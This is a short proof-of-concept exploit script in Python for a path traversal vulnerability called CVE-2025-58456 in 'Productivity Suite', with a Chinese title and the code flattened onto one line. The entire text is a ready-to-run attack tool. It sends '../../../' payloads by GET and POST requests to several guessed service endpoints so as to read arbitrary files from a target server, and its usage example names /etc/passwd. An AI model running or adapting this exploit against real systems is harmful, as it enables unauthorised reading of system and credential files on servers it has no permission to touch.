CVE-2025-58456: Productivity Suite路径遍历漏洞

import requests import sys # CVE-2025-58456 Path Traversal PoC # Target: Productivity Suite < 4.4.1.19 # Vulnerability: Relative Path Traversal in ProductivityService def exploit_path_traversal(target_url, file_path): """ Exploit path traversal vulnerability to read arbitrary files """ # Construct malicious URL with path traversal payload traversal_payload = f"../../../{file_path}" # Try different common endpoints endpoints = [ "/ProductivityService/api/file/read", "/ProductivityService/api/files", "/api/ProductivityService/file", "/ProductivityService/fileaccess" ] for endpoint in endpoints: try: # Method 1: GET request with path parameter params = {"path": traversal_payload} response = requests.get(f"{target_url}{endpoint}", params=params, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[!] Success! File content from {file_path}:") print(response.text) return True # Method 2: POST request with JSON body json_data = {"filePath": traversal_payload} response = requests.post(f"{target_url}{endpoint}", json=json_data, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[!] Success! File content from {file_path}:") print(response.text) return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-58456.py <target_url> <file_path>") print("Example: python cve-2025-58456.py http://target:8080 /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] print(f"[*] Exploiting CVE-2025-58456 on {target}") print(f"[*] Attempting to read: {file_to_read}") if not exploit_path_traversal(target, file_to_read): print("[-] Exploitation failed - target may not be vulnerable")